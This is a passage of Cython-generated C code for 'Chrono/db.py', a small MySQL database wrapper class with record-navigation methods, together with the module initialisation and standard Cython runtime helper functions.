70 is set, to get local id * * def __init__(self): # TODO: abstrac the database driver, to be independent # <<<<<<<<<<<<<< * if self._link == None: # if no link to database * try: */ __pyx_tuple__12 = PyTuple_Pack(6, __pyx_n_s_self, __pyx_n_s_e1, __pyx_n_s_e2, __pyx_n_s_d, __pyx_n_s_r, __pyx_n_s_e); if (unlikely(!__pyx_tuple__12)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__12); __Pyx_GIVEREF(__pyx_tuple__12); __pyx_codeobj__13 = (PyObject*)__Pyx_PyCode_New(1, 0, 6, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__12, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_init, 19, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__13)) __PYX_ERR(0, 19, __pyx_L1_error) /* "Chrono/db.py":64 * self._index = -1 * * def newRecord(self): # <<<<<<<<<<<<<< * for i in self._desc: * t = i[1].split('(')[0] */ __pyx_tuple__14 = PyTuple_Pack(4, __pyx_n_s_self, __pyx_n_s_i, __pyx_n_s_t, __pyx_n_s_n); if (unlikely(!__pyx_tuple__14)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__14); __Pyx_GIVEREF(__pyx_tuple__14); __pyx_codeobj__15 = (PyObject*)__Pyx_PyCode_New(1, 0, 4, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__14, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_newRecord, 64, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__15)) __PYX_ERR(0, 64, __pyx_L1_error) /* "Chrono/db.py":79 * self.indb = False # true if record is in Db * * def getDbVersion(self): # retrun the database version, may only run on mySql # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ __pyx_tuple__16 = PyTuple_Pack(3, __pyx_n_s_self, __pyx_n_s_cursor, __pyx_n_s_data_2); if (unlikely(!__pyx_tuple__16)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__16); __Pyx_GIVEREF(__pyx_tuple__16); __pyx_codeobj__17 = (PyObject*)__Pyx_PyCode_New(1, 0, 3, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__16, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_getDbVersion, 79, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__17)) __PYX_ERR(0, 79, __pyx_L1_error) /* "Chrono/db.py":90 * return data * * def getTableDescription(self,): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ __pyx_tuple__18 = PyTuple_Pack(3, __pyx_n_s_self, __pyx_n_s_cursor, __pyx_n_s_data_2); if (unlikely(!__pyx_tuple__18)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__18); __Pyx_GIVEREF(__pyx_tuple__18); __pyx_codeobj__19 = (PyObject*)__Pyx_PyCode_New(1, 0, 3, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__18, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_getTableDescription, 90, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__19)) __PYX_ERR(0, 90, __pyx_L1_error) /* "Chrono/db.py":101 * return data * * def getRecord(self, wclause, index = 0 ): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ __pyx_tuple__20 = PyTuple_Pack(7, __pyx_n_s_self, __pyx_n_s_wclause, __pyx_n_s_index_2, __pyx_n_s_cursor, __pyx_n_s_data_2, __pyx_n_s_i, __pyx_n_s_e); if (unlikely(!__pyx_tuple__20)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__20); __Pyx_GIVEREF(__pyx_tuple__20); __pyx_codeobj__21 = (PyObject*)__Pyx_PyCode_New(3, 0, 7, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__20, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_getRecord, 101, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__21)) __PYX_ERR(0, 101, __pyx_L1_error) __pyx_tuple__22 = PyTuple_Pack(1, ((PyObject *)__pyx_int_0)); if (unlikely(!__pyx_tuple__22)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__22); __Pyx_GIVEREF(__pyx_tuple__22); /* "Chrono/db.py":121 * return True * * def getNextRecord(self ): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ __pyx_tuple__23 = PyTuple_Pack(5, __pyx_n_s_self, __pyx_n_s_cursor, __pyx_n_s_data_2, __pyx_n_s_i, __pyx_n_s_e); if (unlikely(!__pyx_tuple__23)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__23); __Pyx_GIVEREF(__pyx_tuple__23); __pyx_codeobj__24 = (PyObject*)__Pyx_PyCode_New(1, 0, 5, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__23, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_getNextRecord, 121, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__24)) __PYX_ERR(0, 121, __pyx_L1_error) /* "Chrono/db.py":141 * return True * * def getPrevRecord(self ): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ __pyx_tuple__25 = PyTuple_Pack(5, __pyx_n_s_self, __pyx_n_s_cursor, __pyx_n_s_data_2, __pyx_n_s_i, __pyx_n_s_e); if (unlikely(!__pyx_tuple__25)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__25); __Pyx_GIVEREF(__pyx_tuple__25); __pyx_codeobj__26 = (PyObject*)__Pyx_PyCode_New(1, 0, 5, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__25, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_getPrevRecord, 141, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__26)) __PYX_ERR(0, 141, __pyx_L1_error) /* "Chrono/db.py":161 * return True * * def saveRecord( self ): # TODO: Wrtie the rotine to save the data to database # <<<<<<<<<<<<<< * return False * try: */ __pyx_tuple__27 = PyTuple_Pack(1, __pyx_n_s_self); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__27); __Pyx_GIVEREF(__pyx_tuple__27); __pyx_codeobj__28 = (PyObject*)__Pyx_PyCode_New(1, 0, 1, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__27, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_saveRecord, 161, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__28)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; __Pyx_RefNannyFinishContext(); return -1; } static int __Pyx_InitGlobals(void) { if (__Pyx_InitStrings(__pyx_string_tab) < 0) __PYX_ERR(0, 1, __pyx_L1_error); __pyx_float_0_0 = PyFloat_FromDouble(0.0); if (unlikely(!__pyx_float_0_0)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_float_1e7 = PyFloat_FromDouble(1e7); if (unlikely(!__pyx_float_1e7)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_1180591620717411303424 = PyInt_FromString((char *)"1180591620717411303424", 0, 0); if (unlikely(!__pyx_int_1180591620717411303424)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_neg_1 = PyInt_FromLong(-1); if (unlikely(!__pyx_int_neg_1)) __PYX_ERR(0, 1, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } #if PY_MAJOR_VERSION < 3 PyMODINIT_FUNC initdb(void); /*proto*/ PyMODINIT_FUNC initdb(void) #else PyMODINIT_FUNC PyInit_db(void); /*proto*/ PyMODINIT_FUNC PyInit_db(void) #endif { PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; __Pyx_RefNannyDeclarations #if CYTHON_REFNANNY __Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); if (!__Pyx_RefNanny) { PyErr_Clear(); __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); if (!__Pyx_RefNanny) Py_FatalError("failed to import 'refnanny' module"); } #endif __Pyx_RefNannySetupContext("PyMODINIT_FUNC PyInit_db(void)", 0); if (__Pyx_check_binary_version() < 0) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) #ifdef __Pyx_CyFunction_USED if (__pyx_CyFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_FusedFunction_USED if (__pyx_FusedFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Coroutine_USED if (__pyx_Coroutine_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Generator_USED if (__pyx_Generator_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_StopAsyncIteration_USED if (__pyx_StopAsyncIteration_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /*--- Library function declarations ---*/ /*--- Threads initialization code ---*/ #if defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS #ifdef WITH_THREAD /* Python build with threading support? */ PyEval_InitThreads(); #endif #endif /*--- Module creation code ---*/ #if PY_MAJOR_VERSION < 3 __pyx_m = Py_InitModule4("db", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); #else __pyx_m = PyModule_Create(&__pyx_moduledef); #endif if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) Py_INCREF(__pyx_d); __pyx_b = PyImport_AddModule(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) #if CYTHON_COMPILING_IN_PYPY Py_INCREF(__pyx_b); #endif if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error); /*--- Initialize various global constants etc. ---*/ if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif if (__pyx_module_is_main_Chrono__db) { if (PyObject_SetAttrString(__pyx_m, "__name__", __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) } #if PY_MAJOR_VERSION >= 3 { PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) if (!PyDict_GetItemString(modules, "Chrono.db")) { if (unlikely(PyDict_SetItemString(modules, "Chrono.db", __pyx_m) < 0)) __PYX_ERR(0, 1, __pyx_L1_error) } } #endif /*--- Builtin init code ---*/ if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Constants init code ---*/ if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Global init code ---*/ /*--- Variable export code ---*/ /*--- Function export code ---*/ /*--- Type init code ---*/ /*--- Type import code ---*/ /*--- Variable import code ---*/ /*--- Function import code ---*/ /*--- Execution code ---*/ #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /* "Chrono/db.py":8 * ###################################################################################### * * import pymysql # <<<<<<<<<<<<<< * pymysql.install_as_MySQLdb() * import MySQLdb */ __pyx_t_1 = __Pyx_Import(__pyx_n_s_pymysql, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_pymysql, __pyx_t_1) < 0) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/db.py":9 * * import pymysql * pymysql.install_as_MySQLdb() # <<<<<<<<<<<<<< * import MySQLdb * */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_pymysql); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_install_as_MySQLdb); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/db.py":10 * import pymysql * pymysql.install_as_MySQLdb() * import MySQLdb # <<<<<<<<<<<<<< * * from time import time */ __pyx_t_1 = __Pyx_Import(__pyx_n_s_MySQLdb, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_MySQLdb, __pyx_t_1) < 0) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/db.py":12 * import MySQLdb * * from time import time # <<<<<<<<<<<<<< * from Preferences import Preferences as pref * */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_time); __Pyx_GIVEREF(__pyx_n_s_time); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_time); __pyx_t_3 = __Pyx_Import(__pyx_n_s_time, __pyx_t_1, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_time); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_time, __pyx_t_1) < 0) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/db.py":13 * * from time import time * from Preferences import Preferences as pref # <<<<<<<<<<<<<< * * class db( ): */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_Preferences); __Pyx_GIVEREF(__pyx_n_s_Preferences); PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_Preferences); __pyx_t_1 = __Pyx_Import(__pyx_n_s_Preferences, __pyx_t_3, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_Preferences); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyDict_SetItem(__pyx_d, __pyx_n_s_pref, __pyx_t_3) < 0) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/db.py":15 * from Preferences import Preferences as pref * * class db( ): # <<<<<<<<<<<<<< * _link = None # link to the database. globals to all tables * flag_local = (1<<70) # bit 70 is set, to get local id */ __pyx_t_1 = __Pyx_Py3MetaclassPrepare((PyObject *) NULL, __pyx_empty_tuple, __pyx_n_s_db, __pyx_n_s_db, (PyObject *) NULL, __pyx_n_s_Chrono_db, (PyObject *) NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); /* "Chrono/db.py":16 * * class db( ): * _link = None # link to the database. globals to all tables # <<<<<<<<<<<<<< * flag_local = (1<<70) # bit 70 is set, to get local id * */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_link, Py_None) < 0) __PYX_ERR(0, 16, __pyx_L1_error) /* "Chrono/db.py":17 * class db( ): * _link = None # link to the database. globals to all tables * flag_local = (1<<70) # bit 70 is set, to get local id # <<<<<<<<<<<<<< * * def __init__(self): # TODO: abstrac the database driver, to be independent */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_flag_local, __pyx_int_1180591620717411303424) < 0) __PYX_ERR(0, 17, __pyx_L1_error) /* "Chrono/db.py":19 * flag_local = (1<<70) # bit 70 is set, to get local id * * def __init__(self): # TODO: abstrac the database driver, to be independent # <<<<<<<<<<<<<< * if self._link == None: # if no link to database * try: */ __pyx_t_3 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_2db_2db_1__init__, 0, __pyx_n_s_db___init, NULL, __pyx_n_s_Chrono_db, __pyx_d, ((PyObject *)__pyx_codeobj__13)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_init, __pyx_t_3) < 0) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/db.py":64 * self._index = -1 * * def newRecord(self): # <<<<<<<<<<<<<< * for i in self._desc: * t = i[1].split('(')[0] */ __pyx_t_3 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_2db_2db_3newRecord, 0, __pyx_n_s_db_newRecord, NULL, __pyx_n_s_Chrono_db, __pyx_d, ((PyObject *)__pyx_codeobj__15)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_newRecord, __pyx_t_3) < 0) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/db.py":79 * self.indb = False # true if record is in Db * * def getDbVersion(self): # retrun the database version, may only run on mySql # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ __pyx_t_3 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_2db_2db_5getDbVersion, 0, __pyx_n_s_db_getDbVersion, NULL, __pyx_n_s_Chrono_db, __pyx_d, ((PyObject *)__pyx_codeobj__17)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_getDbVersion, __pyx_t_3) < 0) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/db.py":90 * return data * * def getTableDescription(self,): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ __pyx_t_3 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_2db_2db_7getTableDescription, 0, __pyx_n_s_db_getTableDescription, NULL, __pyx_n_s_Chrono_db, __pyx_d, ((PyObject *)__pyx_codeobj__19)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_getTableDescription, __pyx_t_3) < 0) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/db.py":101 * return data * * def getRecord(self, wclause, index = 0 ): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ __pyx_t_3 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_2db_2db_9getRecord, 0, __pyx_n_s_db_getRecord, NULL, __pyx_n_s_Chrono_db, __pyx_d, ((PyObject *)__pyx_codeobj__21)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_CyFunction_SetDefaultsTuple(__pyx_t_3, __pyx_tuple__22); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_getRecord, __pyx_t_3) < 0) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/db.py":121 * return True * * def getNextRecord(self ): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ __pyx_t_3 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_2db_2db_11getNextRecord, 0, __pyx_n_s_db_getNextRecord, NULL, __pyx_n_s_Chrono_db, __pyx_d, ((PyObject *)__pyx_codeobj__24)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_getNextRecord, __pyx_t_3) < 0) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/db.py":141 * return True * * def getPrevRecord(self ): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ __pyx_t_3 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_2db_2db_13getPrevRecord, 0, __pyx_n_s_db_getPrevRecord, NULL, __pyx_n_s_Chrono_db, __pyx_d, ((PyObject *)__pyx_codeobj__26)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_getPrevRecord, __pyx_t_3) < 0) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/db.py":161 * return True * * def saveRecord( self ): # TODO: Wrtie the rotine to save the data to database # <<<<<<<<<<<<<< * return False * try: */ __pyx_t_3 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_2db_2db_15saveRecord, 0, __pyx_n_s_db_saveRecord, NULL, __pyx_n_s_Chrono_db, __pyx_d, ((PyObject *)__pyx_codeobj__28)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_saveRecord, __pyx_t_3) < 0) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/db.py":15 * from Preferences import Preferences as pref * * class db( ): # <<<<<<<<<<<<<< * _link = None # link to the database. globals to all tables * flag_local = (1<<70) # bit 70 is set, to get local id */ __pyx_t_3 = __Pyx_Py3ClassCreate(((PyObject*)&__Pyx_DefaultClassType), __pyx_n_s_db, __pyx_empty_tuple, __pyx_t_1, NULL, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyDict_SetItem(__pyx_d, __pyx_n_s_db, __pyx_t_3) < 0) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/db.py":1 * #!/usr/bin/python # <<<<<<<<<<<<<< * ###################################################################################### * # (c) <NAME>, <EMAIL>, mars 2018 # */ __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_1) < 0) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /*--- Wrapped vars code ---*/ goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); if (__pyx_m) { if (__pyx_d) { __Pyx_AddTraceback("init Chrono.db", __pyx_clineno, __pyx_lineno, __pyx_filename); } Py_DECREF(__pyx_m); __pyx_m = 0; } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_ImportError, "init Chrono.db"); } __pyx_L0:; __Pyx_RefNannyFinishContext(); #if PY_MAJOR_VERSION < 3 return; #else return __pyx_m; #endif } /* --- Runtime support code --- */ /* Refnanny */ #if CYTHON_REFNANNY static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { PyObject *m = NULL, *p = NULL; void *r = NULL; m = PyImport_ImportModule((char *)modname); if (!m) goto end; p = PyObject_GetAttrString(m, (char *)"RefNannyAPI"); if (!p) goto end; r = PyLong_AsVoidPtr(p); end: Py_XDECREF(p); Py_XDECREF(m); return (__Pyx_RefNannyAPIStruct *)r; } #endif /* GetBuiltinName */ static PyObject *__Pyx_GetBuiltinName(PyObject *name) { PyObject* result = __Pyx_PyObject_GetAttrStr(__pyx_b, name); if (unlikely(!result)) { PyErr_Format(PyExc_NameError, #if PY_MAJOR_VERSION >= 3 "name '%U' is not defined", name); #else "name '%.200s' is not defined", PyString_AS_STRING(name)); #endif } return result; } /* GetModuleGlobalName */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name) { PyObject *result; #if !CYTHON_AVOID_BORROWED_REFS result = PyDict_GetItem(__pyx_d, name); if (likely(result)) { Py_INCREF(result); } else { #else result = PyObject_GetItem(__pyx_d, name); if (!result) { PyErr_Clear(); #endif result = __Pyx_GetBuiltinName(name); } return result; } /* PyObjectCall */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { PyObject *result; ternaryfunc call = func->ob_type->tp_call; if (unlikely(!call)) return PyObject_Call(func, arg, kw); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = (*call)(func, arg, kw); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* SaveResetException */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { *type = tstate->exc_type; *value = tstate->exc_value; *tb = tstate->exc_traceback; Py_XINCREF(*type); Py_XINCREF(*value); Py_XINCREF(*tb); } static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = type; tstate->exc_value = value; 